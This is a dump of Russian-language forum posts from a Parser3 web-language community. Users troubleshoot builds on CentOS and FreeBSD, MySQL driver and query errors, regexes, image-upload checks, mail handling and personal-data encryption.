"77338","там нативный языковой файл для XSLT ничего не умеет, можно в любой теме попереключать подсветку с XSL на XML, разницы никакой.\
Видел в интернете пару альтернативных, но тоже всё немного через неправильное место сделанo.\
\
С HTML на второй взгляд красиво скрестить не получается - всё друг с другом конфликтует, если бы можно было ограничить как-то, как в других языках, типо <%= парсер тут %> было бы легче, а так тихий ужос просто."
"77339","[quote]там нативный языковой файл для XSLT ничего не умеет, можно в любой теме попереключать подсветку с XSL на XML, разницы никакой.\
Видел в интернете пару альтернативных, но тоже всё немного через неправильное место сделанo[/quote]\
\
Ну, там многого не нужно, разнообразить подсветку.\
\
[quote]С HTML на второй взгляд красиво скрестить не получается - всё друг с другом конфликтует, если бы можно было ограничить как-то, как в других языках, типо <%= парсер тут %> было бы легче, а так тихий ужос просто[/quote]\
\
А не проще от обратного — основная разметка парсера, а включения на XHTML, CSS, JS?\
Тэги, стили и скрипты найти проще, чем парсерный код."
"77340","как минимум <xsl-тэги> должны отличаться от всех остальных, попадающих в аутпут. Ну и неплохо было бы раскрашивать xpath-конструкции, $переменные, функции() и всё остальное. Такого вообще нигде не видел.\
[quote]А не проще от обратного — основная разметка парсера, а включения на XHTML, CSS, JS?[/quote]\
разноплановые контексты могут быть вложенными друг в друга - парсерные квадратные скобки должны знать что внутри них может быть не только код но и теги, а html-тэги и аттрибуты должны знать что внутри них может быть парсерный код, то есть по хорошему весь этот винегрет должен описываться с учетом друг друга в одном .tmLanguage, но старый я трогать не хочу, мне нравится так как есть :) а дублировать в новом некрасиво - хотелось бы чтобы в теме можно было писать source.parser3 variable и не беспокоиться что где-то есть какой-нибудь text.html.parser3 в котором вся парсерная размётка задана по-новой."
"77341","вот что есть, как поменять, чтобы заработало?\
$items[^table::sql{\
select \
* \
from\
							oct_services_news_items\
order by\
date desc\
limit \
0 , $config_news_per_page"
"77342","А заодно почитать про параметры limit и offset у table::sql."
"77343","выдает теперь: select * from oct_services_news_items order by `date` desc limit 0 , ' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 8"
"77344","удаление lilmit решает вопрос"
"77345","вам-же Sumo написал, что надо проверить, что в $config_news_per_page есть значение.\
\
а его там нет, именно поэтому в конце запроса оказывается \"LIMIT 0, \" -- т.е. запятая, а в конце, для того, чтобы запрос был корректен, должно быть что-то ещё (число).\
\
т.е. ваш код, который выполнялся до этого запроса, сделал что-то не так, как делал это раньше, в результате в этой переменной осталась пустота вместо числа. именно с этой проблемой и надо разобраться, после чего и запрос начнёт выполняться корректно."
"77346","Предлагаю рассмотреть возможность создания альтернативного варианта buildall-without-xml с --prefix=$HOME для сборки Парсера на хостингах, где не дают права суперпользователя"
"77347","таки забыли подправить? :)"
"77348","в config.p есть следующая строка $config_news_per_page(10). Это оно? не судите строго т.к. я с парсером, mysql и т.д. познакомился только когда сейчас начал переносить сайт. а за помощь большое спасибо, т.к. сайт по крайней мере начал функционировать"
"77350","система CentOS 2.6.18-274.7.1.el5.028stab095.1 #1 SMP i686 i686 i386 GNU/Linux\
Parser 3.4.2 качал с помощью cvs, у меня не ставились библиотеки с помощью скрипта PAFа, access denied, пока не скачал и не поставил вручную, но собрать не удалось - уперся в версию установщика, а апгрейдить его у пользака прав нет.\
\
Думаю, ладно, хрен с ней с последней версией, скачал 3.4.0\
\
теперь другая проблема:\
-bash-3.2$ In file included from pa_pool.C:14:\
-bash: In: command not found\
-bash-3.2$ ../../src/include/pa_charset.h:20:18: error: pcre.h: No such file or directory\
-bash: ../../src/include/pa_charset.h:20:18:: No such file or directory\
-bash-3.2$ ../../src/include/pa_charset.h:23:27: error: pcre_internal.h: No such file or directory\
-bash: ../../src/include/pa_charset.h:23:27:: No such file or directory\
-bash-3.2$ ../../src/include/pa_charset.h:96: error: Б&#9472;&#8804;tables_lengthБ&#9472;&#8805; was not declared in thispeco\
-bash: ../../src/include/pa_charset.h:96:: No such file or directory\
-bash-3.2$ make[2]: *** [pa_pool.o] Error 1\
\
\
при этом скрипт PAFа отрабатывает чисто, без сообщений об ошибках.\
\
порыл форум, общий вывод, что в такой ситуации все должно работать, но не работает (и не только у меня) :)\
После истерики одного коллеги по несчастью (с аналогичной бедой) подключились технологи студии, не знаю, чем там дело кончилось.\
Время жалко, честно говоря, из-за такой ерунды, как отсутствие сохранения порядка вывода в ключах хеша в версиях Парсера раньше 3.4.0, появилась необходимость пересобрать новую версию (готовых бинарников под CentOS не обнаружил)\
день угроблен, ну и хрен с ним, может к версии 4.0.0 будет нормально собираться :)"
"77351","Вы папки ~/parser3project/ и ~/parser3install/ создали? cvs co делали в ~/parser3project/? wget или fetch на сервере установлены? \
\
Можно взять HEAD-версию — там новый скрипт сборки, но у вас явно проблема не со скриптом.\
\
p.s. Чем не устроили бинарные сборки из раздела скачать? Название дистрибутива смущает?"
"77353","Делал так (центос вижу первый раз в жизни, мог натупить :):\
— Поставил CentOS 6.3-i386 в виртуальной машине Parallels Desktop for Mac 7. При установке выбрал набор пакетов для веб сервера. (Linux localhost.localdomain 2.6.32-279.el6.i686 #1 SMP Fri Jun 22 10:59:55 UTC 2012 i686 i686 i386 GNU/Linux)\
— Установил средства для разработки: yum groupinstall \"Development Tools\" (чтобы не огребать ошибку \"C++ compiler cannot create executables\" из-за отстутсвия gcc и стандартных библиотек).\
— Создал пользователя parser, сделал su parser.\
— Создал папки /home/parser/parser3project и /home/parser/parser3install.\
— В parser3project выполнил cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_4_2 parser3\
— Выполнил скрипт buildall-with-xml\
— Получил файл ~/parser3install/bin/parser3 (Parser/3.4.2 (compiled on i686-pc-linux-gnu)) и сделал strip из консоли.\
\
Сборка драйвера\
— Ставим mysql-dev: yum install mysql-dev.\
— Делаем в parser3project чекаут драйверов: cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co sql\
— Дальше стандартный configure и make.\
— В папке .libs получил файл libparser3mysql.so\
\
p.s. На память. Для сборки на десктопной убунте надо поставить два пакета:\
— sudo apt-get install build-essential\
— sudo apt-get install libmysqlclient-dev"
"77354","[quote]— Создал папки /home/parser/parser3project и /home/parser/parser3install.[/quote]\
это кстати не обязательно, я сделал просто пасрер3, туда залил исходник с cvs, ну а дальше чуток поменял параметры в скрипте\
--disable-safe-mode\
--with-curl=/usr/include/curl\
И в путь, все собралось и сложилось в parser3install.\
\
А вот strip я думаю надо добавить по дефолту в скрипт. Много народу, о нем даже не подозревает +)"
"77357","чтобы убедиться в выполнении кода в config.p можно добавить туда ^throw[;here]\
\
а прямо перед проблемным sql запросом можно временно написать:\
^throw[;=$config_news_per_page=]\
\
будет выдано исключение в котором выведется значение этой переменной.\
но и по sql запросу понятно, что там пустота, иначе в тексте запроса было-бы это значение."
"77358","Я не подозреваю. В доке не написано, или плохо искал. Если будет время, вкратце напишите, пожалуйста."
"77359","[code]# remove debug info\
# strip ${install_directory}/bin/parser3\
[/code]\
... но ее надо раскомментировать вручную. Если я правильно понимаю, то strip влияет только на размер файла на диске, а в память «символы» грузятся только если запустить бинарник под отладчиком, так что ничего страшного не будет, если strip не делать.\
\
p.s. Редактирование скрипта сборки нужно и для установки некоторых специфических опций сборки — отключения safe mode, сборки модуля Апача и пр. Если взялись собирать сами, то имеет смысл почитать скриптик перед работой."
"77360","просто настройки сильно размазаны получились по всему скрипту. Я когда нечто подобное делаю, то я в самом начале скрипта делаю секцию с переменными, которые влияют на работу. Так другим проще будет, да и в других скриптах видел подобный стиль."
"77361","config.p не выполняется, скопировал его код в auto.p и все заработало, такое решение нормальное?"
"77362","... там настройки в начале файла и ключики есть. :)"
"77363","для меня такое решение не подходит, т.к. возможно не выполняется что-то ещё.\
я-бы разобрался почему не выполняется и исправил-бы это."
"77364","#remove debug info\
#strip ${install_directory}/bin/parser3\
:)"
"77366","к сожалению я не разбираюсь ни в mysql, ни в парсере и никаких других языках, так что для меня это темный лес. все что делал основывалось на ваших подсказках и методе проб и ошибок. сейчас же если в config.p добавляю инструкции которые вы написали выше лог ошибок выдает ту же ошибку что и до добавления, а что и как.. у меня только ????"
"77368","К сожалению, как это бывает, исполнитель после оплаты исчез, оставив сайт без поддержки и не доделав до конца работу."
"77369","вы понимаете, что мы не знаем кто и как реализовал всё на вашем сайте и соответственно не знаем как правильно исправить проблему?\
помочь вам я не могу, т.к. вы даже толком не можете сообщить, что у вас происходит: то у вас config.p выполняется, то не выполняется.\
\
т.е. вам остаётся или разбираться самостоятельно, отбросив все \"я не разбираюсь\" и \"для меня это тёмный лес\" (начать можно с документации, в частности [URL=/docs/lang/mainclass.htm]отсюда[/URL]) или искать того, кто разбирается и кто подправит ваш сайт.\
\
кстати, проблема не может быть вызвана переходом с 32-битной на 64-битную версию, если этот переход осуществляется в рамках одной версии парсера (если версия изменилась, то могут вылезти какие-либо несовместимости). также надо убедиться, что корректно отредактирован перенесённый конфигурационный auto.p (который обычно находится рядом с parser3.cgi)"
"77370","Привет!\
Переносим проекты на Parser 3.2 с одного сервера на другой. Возникли\
проблемы с запуском проектов на новом месте. Нужна небольшая\
консультация специалиста (возможно за вознаграждение), который умеет\
разбираться в сообщениях об ошибках Parser'а, в частности \"syntax\
error, unexpected '@', expecting $end [parser.compile]\
Большое спасибо!"
"77371","сразу сообщайте как можно больше информации (вытягивать её иногда нет никакого желания).\
\
- платформа (было/стало)\
- версия парсера, включая все циферки (было/стало). посмотреть можно запустив cgi/exe из консоли или обратившись к нему напрямую из браузера (http://сервер/cgi-bin/parser3.cgi). скорее всего вы пытаетесь поставить другую (более новую) версию парсера, иначе подобной ошибки скорее всего не было-бы.\
- полный текст сообщения об ошибке (желательно включить debug версию сообщения об ошибке в конфигурационном auto.p)\
- строку с кодом, на которую парсер ссылается в сообщении об ошибке (он показываем файл, строку и позицию в строке)"
"77372","Это умышленно. На размер в памяти не влияет, 5 мб на диске сейчас никому погоды не делают. А вот возможность в случае краха получить stack trace - весьма полезна (поэтому у нас хранятся и релизные версии с debug info, чтобы можно было имея только .core при необходимости получить stack trace)."
"77373","спасибо за отклик!\
я попросила админа выйти на связь с уточнениями - скоро все будет :)"
"77374","Шлите ссылку и ftp (но лучше ssh) доступ на moko@design.ru, посмотрю, бесплатно."
"77375","сразу говорю: ошибка одна на миллион, но она случилась\
кодировки:\
\
[code]$connect_string[mysql://$myLogin^:$myPswd@$myServer/$myDatabase?charset=utf8]\
\
#source/client charsets \
$request:charset[utf-8] \
$response:charset[utf-8] \
$response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
] [/code]\
\
-==-\
из input в БД попал символ U+0013 (!! - одним символом)\
при простом прямом выводе (считали из БД вывели на страницу) проблем НЕ возникает, а вот при передаче через ajax - вылазит ошибка ajax SyntaxError: Unexpected token.\
Я так понимаю что ^json:string не escape`ит данный символ (хотя согласно http://www.ietf.org/rfc/rfc4627.txt он не попадает в unescaped = %x20-21 / %x23-5B / %x5D-10FFFF)"
"77376","Подскажите, пожалуйста.\
\
Вот есть sections.cfg как в уроках, но массивнее по горизонтали раз в десять. В ней всё.\
\
Получается, что конструкций вида\
[code]^sections.menu{^if($sections.uri eq $uri){ура-ура}}[/code]\
в разных местах кода просто неприлично много. Ну, $uri[$request:uri] я хотя бы в авту прописал, а как ещё можно оптимизировать эти места?\
\
Было бы круто, если бы можно было один раз в самом начале прокрутить таблицу и упаковать куда-нибудь нужную строку. Чтобы в дальнейшем брать из неё $stroka.stolb одним движением.\
\
Куда смотреть, куда копать?\
\
Спасибо."
"77379","[code]\
^if(^sections.locate[uri;$uri]){\
	$current[$sections.fields]\
}{\
	^throw[;404]\
}\
[/code]"
"77384","Платформа: был Centos 5, стал Debian Squeeze (6.0)\
\
Парсер: был 3.2.2, пытался стать 3.4.0 - не вышло, поставили на новое место 3.2.2, но это никак не помогло (версия верифицирована прямым обращением к cgi-ке)\
\
Полный текст об ошибке: /var/www/shinema.ru/auto.p(15:97): syntax error, unexpected '@', expecting $end\
\
Первые 20 строк auto.p на которое оно ругается, ниже (ругается собственно на @auto[] )\
\
@conf[filespec]\
#$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
#===============================================================================================\
#===============================================================================================\
#===============================================================================================\
@auto[]\
$CLASS_PATH[^table::create{path\
/_classes}]\
^use[dorian.p]\
^use[wiki.p]\
^use[list.p]\
\
^use[human.p]"
"77385","вы показываете не тот auto.p\
вы показываете \"конфигурационный\" auto.p, который должен располагаться рядом с cgi, например в /var/www/shinema.ru/cgi/auto.p (я не знаю, где у вас лежит cgi)\
а ругается на \"корневой\" auto.p (надеюсь я угадал и рядом с этим auto.p у вас также находится какой-нить index, кроме того /var/www/shinema.ru/ -- ваш document root)."
"77386","штука как раз в том, что я показываю именно \"корневой\" auto.p - именно он лежит в docroot,  совершенно верно\
\
я подозреваю, что имеет место какой-то конфликт между \"конфигурационным\" и \"корневым\" auto.p, но так как я админ, и в структуре прохождения запросов по конфигурационным файлам парсера, какие и где они должны быть и что в них должно быть написано - ничего не понимаю, за пределами общей эрудиции, то я не могу изолировать, собственно, проблему\
\
cgi лежит в /usr/lib/cgi-bin (соответствующие настройки прописаны в описании виртхоста в апаче)"
"77387","тогда проще и быстрее будет [URL=/forum/?id=77374]обратиться к moko[/URL]."
"77388","ЗАДАЧА:\
Найти все слова \"Бетон\" в тексте, так чтобы этот текст не оказался внутри тега (<a ... title=\"Прочный бетон\">...)\
\
Написал такой regexp\
[code](?<!<\\w[^>]+)(\\bбетон\\b)[/code]\
но в Perl совместимых выражениях не работает *,+ и {0,1000} внутри просмотра назад:\
[code]Perl does not support variable repetition inside lookbehind[/code]\
\
Подскажите, как это обойти. Можно в parser текст перебирать, но мне кажется есть более простое решение.\
\
Кто-нибудь сталкивался с подобной задачей?"
"77389","Есть еще конструкция отрицания, когда делал с ней финт, но сейчас не могу всмпонить что и как, реально проще сделать в два прохода\
Сама конструкция (?!(то чего не должно быть))"
"77390","[quote]Сама конструкция (?!(то чего не должно быть))[/quote]\
Ну да... можно с заглядыванием вперед. ))) Да, спасибо за мысль... буду проверять на конец тега, на знак > , хотя это не совсем правильно, но тоже пойдет\
[code](\\bбетон[a-zа-я]*\\b)(?!(.(?![^^>]*?<)))[/code]"
"77391","[url=\"http://www.parser.ru/examples/pcolorer/\"]вот здесь в примерах[/url] можно посмотреть - начало и конец метода @_tokenize, комментарии выкусываются, остальное матчится а потом комментарии вставляются обратно."
"77392","Отличная мысль! Спасибо!"
"77393","Ошибка Internal Server Error\
В логах апача: Premature end of script headers: parser3.cgi\
Причем: все работало, на сервере произошло обновление с FreeBSD 8.1 -i386 до FreeBSD 8.3 -i386, т.о. сборка парсера должна остаться той же и все должно работать. Или нужно пересобрать, но что?"
"77396","Запустила \
cgi-bin/parser3.cgi www/auto.p\
Результат:\
<html>\
<head><title>Unhandled Exception (parser.runtime)</title></head>\
<body>\
<h1>core.p</h1>\
\
<pre>not found along MAIN:CLASS_PATH</pre>\
\
\
\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
</body>\
</html>"
"77397","Надо смотреть что не так с апачем теперь."
"77399","Текущая версия ОС: FreeBSD 8.3-i386\
Используемая версия парсера: Parser/3.4.2 (compiled on i386-unknown-freebsd8.1)\
Дело в том, что ничего не трогалось, все просто перестало работать."
"77400","Тех поддержка отвечает, что у них все работает, и это ошибка наших скриптов"
"77401","Не nic.ru случайно? Буквально сегодня нашел на нем несовместимость с libgc (это используемый в парсере сборщик мусора), причина пока не очень понятна. Да, и mysql не обновлялся?"
"77402","http://masterhost.ru/"
"77404","Известных вариантов может быть два:\
\
1. Обновился mysql и вылезла несовместимость с драйвером,\
лечится установкой старой версии (http://www.parser.ru/f/1/download/freebsd8/parser3sql_10_3_freebsd80R_mysql.tar.gz)\
\
2. Проблема совместимости с libgc, завтра могу прислать\
модифицированную версию парсера.\
\
Ну и достаточно вероятно, что это какая-то новая проблема.\
В таком случае боюсь сами не разберетесь, шлите ssh доступ на moko@design.ru, посмотрю."
"77405","Спасибо за помощь. Установила старую версию драйвера все заработало"
"77406","Чтобы больше такое не случалось, обновленная версия выложена в раздел для скачивания."
"77407","Выпущена корректирующая версия mysql драйвера 10.5. \
\
В ней убрано изменение, внесенное в версии 10.4 (вышедшей одновременно с парсером 3.4.2). Это изменение привело к тому, что драйвер парсера стал совместим только с той версией клиентской библиотеки mysql, с которой был собран. Поэтому например при обновлени mysql сервера или переносе на сервер с другой версией mysql парсер переставал работать (core dump). Версия 10.5 возращает совместимость со всеми версиями libmysqlclient.so. Обновленная версия выложена в разделы для скачивания."
"77408","Server error!\
\
The server encountered an internal error and was unable to complete your request.\
\
Error message: \
Premature end of script headers: parser3.cgi\
\
If you think this is a server error, please contact the webmaster.\
\
Error 500\
\
insightstudio.ru\
Sat Sep 1 20:06:12 2012\
Apache/2.2.21 (Gentoo) mod_dp/0.99.6 Phusion_Passenger/2.2.15 PHP/5.2.17-pl0-gentoo mod_wsgi/3.3 Python/2.7.2\
\
\
Такая вот ошибка. Пробовал менять файл по работе с базой, ничего не изменилось. Что можно с этим сделать?"
"77409","оказалось трабл был в доступе к файлам... теперь другая ошибка вылезла. я вернул старый файл по работе с базой.\
\
/home/t/teodmru/insightstud/public_html/cgi-bin/parser3/lib/libparser3mysql.so\
\
driver failed to initialize client library '/usr/lib/mysql/libmysqlclient.so', /usr/lib/mysql/libmysqlclient.so: wrong ELF class: ELFCLASS64\
/home/t/teodmru/insightstud/public_html/classes//stdlib.p(9:10)\
connect	/home/t/teodmru/insightstud/public_html/classes//stdlib.p(9:10)\
dbconnect	/home/t/teodmru/insightstud/public_html/auto.p(40:2)"
"77411","/usr/lib/mysql/libmysqlclient.so - убрал эту строку.\
теперь выводится такая ошибка\
driver failed to initialize client library 'unspecifed', client library column is empty"
"77413","Задача: в шаблоне страницы всегда у меня стоял [code]<title>^pageTitle[]</title>[/code]\
а в разных страницах сайта я определял метод\
\
[code]@pageTitle[]\
$result[Заголовок раздела][/code]\
\
Но возникла потребность динамически обновлять заголовок средствами пасера - есть возможность как-то форсировать значения этого метода из другого метода - чтобы в $result , скажем, добавить другое значение и заголовок страницы бы изменился. Просто зачастую все заголовки вытаскиваются из БД где-нибудь в середине одного из методов - делать второе обращение к базе в заголовке только ради заголовка я вижу нерентабельным.\
\
я конечно понима, что можно яваскриптом заголовок задать, но охота при генерации страницы его уже иметь\
\
КАК?"
"77415","нет, видимо я не ясно выразился.\
\
есть index.html \
[code]^if(def $form:mode){^include[/kernel/${form:mode}.html]}\
<html>\
<head><title>^title[]</title></head>\
\
<body>^mainbody[]</body>\
</html>[/code]\
\
и есть некий /kernel/tv.html который включается в index.html при http://ex.com/?mode=tv\
\
[code]@mainbody[]\
\
#выборка из базы\
$SubsectionTitle[:: Подзаголовок]\
#тело документа\
\
@title[]\
Наш заголовок [/code]\
\
Вопрос: как мне передать в @title чтобы в итоге заголовок страницы выглядел так:\
\
[code]<head><title>Наш заголовок :: Подзаголовок</title></head>[/code]"
"77416","[code]@pageTitle[title]\
$result[^if(def $title){$title}{default}][/code]\
\
Но лучше работать с классами и использовать наследование, тогда можно и удобно перекрывать и частично расширять результат, позвав ^BASE:pageTitle[] и подмешав его в результат, при необходимости."
"77417","Кто сталкивался с этим вопросом? Какие решения использовали?\
\
Для тех кто не в теме: http://ru.wikipedia.org/wiki/Защита_персональных_данных"
"77418","у вас вызывается сначала ^title[] потом ^mainbody[], из которого без костылей (postprocess, javascript) вставить что-либо в уже вызванный ^title[] я не вижу способов."
"77419","[code]$body[<body>^mainbody[]</body></html>]\
<html><head><title>^title[]</title></head>\
$body[/code]"
"77420","В общем есть некий гост(закон), который определяет что надо делать.\
Основное:\
Места доступа к персональным данным не должны быть подключены к интернету(хотя как это с интернет магазинами я хз, налицо старый закон)\
Логирование всех операций к персональным данным.\
Требования к паролям и частота их смены.\
Сертифицированное оборудование.\
Ну и если гос структура или что-то серьезное могут еще потребовать прохождение сертификации самой системы."
"77421","Или тебе Роскомнадзор претензию выкатил? :)"
"77425","Речь идет о хранении персональных данных, тип здесь не важен.\
У меня есть веб-приложения по автоматизации сервисных центров, медицинских учреждений, риэлторских контор. Везде есть персональные данные.\
\
И если сегодня еще пока никто не задает вопрос о надежности хранения, то, уверен, в ближайшем времени обязательно зададут.\
\
Из общего перечня рекомендаций вот что есть:\
- доступ к серверу ограничен как физически, так и рамками внутренней сети (это понятно)\
- доступ извне по SSL\
- ведется логирование доступа к персональным данным\
\
это пожалуй все что есть, хотя по идее, данные в базе желательно тоже шифровать.\
\
И вот тут кроется основной вопрос: исходный код открыт, а значит, ключ которым я буду шифровать, а затем дешифровать всегда будет открыт?"
"77426","Т.е. положить базу данных на отдельный раздел и зашифровать его. Для серверов есть много различных решений (в unix-системах обычно есть встроенные системы, например, [url=http://www.freebsd.org/doc/ru/books/handbook/disks-encrypting.html]для FreeBSD[/url]), которые можно использовать как с паролями так и со всяческими e-токенами, т.е. пароль ни в каком коде хранить не нужно.\
\
p.s. Остается проблема с сертификацией системы шифрования. Есть сильные подозрение, что далеко не все свободные продукты лицензированы по правилам нашего «сверхсекретного» государства. :)"
"77427","Я так понимаю что шифрование БД нужно на случай получения прямого доступа. Чтобы \"типо\" сложно было прочитать.\
\
открываешь в прямую поле Ф.И.О. а там LDZomDz0$nUK5EXa6q2X.RzFhMKiS ну или что-то типа того."
"77428","Получается если и получат доступ к БД то там каша, если получат доступ к винту все равно каша.\
Но опять же это все наши велосипеды и все это могут не принять органы которые будут проверять, опять же опираясь на слова нашей службы безпеки украины, система должна пройти сертификацию у конторы которая имеет на это право. При этом контора которая дает сертификат не должна быть разработчиком системы."
"77429","Мне кажется, что для большинства задач вполне достаточно защитить канал передачи и сделать шифрование, чтобы застраховаться от кражи данных вместе с железками. Если тебя сломают настолько серьезно, что получат доступ к базе данных, скриптам и ключам, то никакое избыточное шифрование не поможет.\
\
Если ты хочешь сделать все «максимально законно», то придется проходить все круги ада с подготовкой проекта, согласования, сертификацией и пр. радостями (поверь, это очень противно и недешево — я уже много лет имею дело с Роскомнадзором по вопросам сдачи узлов и сетей связи). Или пойти по простому пути: зашифровать канал, диски и написать документ с регламентом защиты персональных данных и разработать механизм получения согласия «субъектов» на обработку ПД. С этим документом знакомишь (под подпись) сотрудников заказчика. Если случится проверка, то у тебя уже будет некая первичка, которая поможет начать конструктивный диалог с проверяющими органами. :)"
"77430","Я правильно понимаю, что при получении письма нужно вызвать команду\
[b]/path/to/parser3.cgi /path/to/script.html -m[/b]?\
Попросил админов, чтобы настроили почтовую систему таким образом.\
\
Вот содержимое script.html:\
[code]@main[]\
$now[^date::now[]]\
$s[^now.sql-string[]	^if(def $mail:received){1;0}	^if($mail:received){1;0}	$env:PARSER_VERSION^#0A]\
^s.save[append;/mail.txt][/code]\
\
но в mail.txt всегда выводятся нули:\
[code]2012-09-08 18:11:16	0	0	3.4.1 (compiled on amd64-unknown-freebsd7.2)\
2012-09-08 18:28:03	0	0	3.4.1 (compiled on amd64-unknown-freebsd7.2)[/code]\
\
\
Версию 3.4.2 поставить не смог, загружаю (пробовал и 32 и 64 бита), запускаю из консоли ./parser3.cgi, отвечает:\
./parser3.cgi: Text file busy\
Что это значит? Загружал в бинарном режиме."
"77432","пробовал и в builall-with-xml добавлять options=\"$options --with-mailreceive\"\
и в parser3/src/include/pa_config_fixed.h раскомментировал строку [b]#define WITH_MAILRECEIVE[/b]\
\
результат - тот же, $mail:received не определен."
"77433","Конструкция вида\
\
[code]^if(\
	1==1 ^rem{что-то там}\
){}[/code]\
\
Падает с ошибкой [quote]syntax error, unexpected '^', expecting ';' or ')'[/quote]\
\
хотя по идее такого быть не должно (удобно использовать если много условий перечисляется, подписывать каждое с помощью rem)\
\
v. 3.4.1"
"77434","[code]^if(\
	1==1 #что-то там\
){}[/code]"
"77435","Это понятно, но мне кажется что и rem тоже должен работать."
"77436","Это же блочный комментарий, что, по-моему, перебор для данного случая."
"77437","Правильно ли так делать проверку?\
[code]^if(def $form:image && !$form:image is file){Выбранный файл не является изображением!}[/code]"
"77438","В 3.4.2 воспользоваться $mail:received весьма нетривиально, поскольку требуется очень старая версия glib. В HEAD это все актуализировано, и запустив buildall (это новый скрипт сборки парсера) --with-mailreceive у вас будут ненулевые шансы получить на выходе парсер с поддержкой $mail:received."
"77439","история -- та же... (\
\
как я понял эта опция там стоит по умолчанию?"
"77441","[code]^if(!def $form:image || !$form:image is file){Выбранный файл не является изображением!}[/code]\
\
ваше условие всегда будет [b]true[/b]\
\
а еще стоит добавить еще что-то типа этого:\
[code]$sExt[jpg,gif,png] $tExt[^sExt.split[,]]\
$ext[^file:justext[$form:image.name]] $ext[^ext.lower[]]\
^if(!def $form:image || !$form:image is file || !^tExt.locate[piece;$ext]){Выбранный файл не является изображением!}[/code]"
"77442","Ваше условие тоже неправильное.\
Если в $form:image придёт, например, текстовая строка, то парсер упадёт с ошибкой при попытке инвертировать значение через !.\
\
И чего зря гадать, когда есть таблица приоритетов?\
http://www.parser.ru/docs/lang/\
Миша правильно про скобки сказал.\
\
А ещё стоит группировать проверки, чтобы конечное условие легко читалось, т.е. я бы написал так:\
[code]^if(!(def $form:image && $form:image is file)){}[/code]\
\
По поводу расширения файлов.\
Не надо советовать подобные решения в лоб. Самое главное правило в таких задачах: от пользователя могут придти [b]любые данные в любом виде[/b]. В данном случае, файл может быть без расширения вообще или с несколькими расширениями (правда, file:justext здесь нормально отработает, наверное). Но даже наличие расширения никак не гарантирует соответствие файла этому формату.\
Картинки можно проверить только через ImageMagick, NConvert и смежные библиотеки.\
\
Проверки на расширение — от лукавого и лишь усложнят последующую отладку с \"проблемными\" файлами."
"77444","Представим, что $form:image у нас уже определен.\
И теперь надо проверить является ли его содержимое файлом:\
[code]^if(!($form:image is file)){Ошибка!}[/code]\
Получается так будет правильнее?"
"77445","http://www.parser.ru/forum/?id=76567"
"77447","[quote]Если в $form:image придёт, например, текстовая строка[/quote]\
значит пусть падает... по условию, у тега form стоит атрибут enctype=\"multipart/form-data\", так что туда не может прийти текстовая строка. (хотя естественно можно и на это проверку организовать, но я так не заморачиваюсь, и в parser.log еще не появлялось таких ошибок).\
\
По поводу расширения - никто и не говорил, что это 100% защита. Это защита от ненужных действий, типа получения информации об изображении и т.д...\
\
по поводу скобок - неверно мыслите, они тут ни к чему. мой вариант лучше и читабельнее."
"77450","подумать, потестить, и определиться ))\
\
на самом деле условия же можно писать по разному... как вам удобнее, так и пишите."
"77451","В новостях есть такая древняя запись\
[quote]Изменен способ вывода чисел, теперь $value(1230000) $value напечатает 1230000 (было: 1.23e+006)[/quote]\
\
Она относится только к целым числам?\
\
[code]$i(1942132.5)\
$i[/code]\
\
-> 1.94213e+006  (т.е. 1942130, при вставке в базу теряются значащие цифры)"
"77452","я просто думал что все комментарии # и rem вырезаются до синтаксического разбора"
"77453","Надо собирать командой ./buildall --with-mailreceive и пред ней сделать make distclean, если раньше уже запускали этот скрипт. \
\
Чтобы проверить собран ли парсер с mailrecieve надо запустить его из консоли и убедиться, что в списке параметров есть \"-m\"."
"77454","Что касается синтаксического разбора, то Парсер выкидывает только строки с решеткой в начале строки, а решетка в выражениях обрабатывается каждый раз для каждого вызова."
"77455","[code]\
$exts[\
  $.jpg[]\
  $.gif[]\
  $.png[]\
]\
^if(!(def $form:files.image || ^exts.contains[^file:justext[^form:image.lower[]]])){\
  Файл не является изображением!\
}\
[/code]\
\
p.s. Не на всех платформах используется расширение файлов и его проверка, например, отбрасывает всех пользователей маков. Поэтому надежную проверку можно сделать исключительно внешними инструментами (NConvert, ImageMagick или file)."
"77456","«Отрицательную логику» с кучей and'ов и or'ов читать гораздо сложнее, чем положительную. Допустить ошибку и забыть поставить ! в одной из частей выражения очень легко — отлаживать такой код будет крайне трудно. Поэтому вариант Vint'а с «положительным выражением и одним общим оператором отрицания» предпочтительнее."
"77457","Options are:\
    -m              Parse mail, put received letter to $mail:received\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
\
однако $mail:received снова не определен..."
"77458","Не так уж и много... )))\
просто я привык так писать, строка с расширениями достается из БД.\
вариант с хешем - даже не думал о таком, неплохо!\
\
P.S.: под читабельностью я имею в виду как автор читает условие, группировку под оператор NOT я использую крайне редко, поэтому прочитать условие с несколькими отрицаниями для меня (уверен, как и ТС) гораздо проще...\
\
а про мак не знал, никогда с ним не сталкивался, спасибо за инфо... там что, по умолчанию картинки сохраняются без расширения? или как? просто интересно откуда могут взяться файлы без расширения?"
"77459","... и посмотрите приходит ли что-нибудь от почтового сервера."
"77460","код не подскажете? ))\
а то я в shell не силен"
"77461","Далее уже вероятно имеет смысл трясти администираторов. Надеюсь они прописали вызов именно собранной вами версии? Протестировать ваш код легко, cat test.eml | parser3.cgi -m script.html, где test.eml - любое письмо."
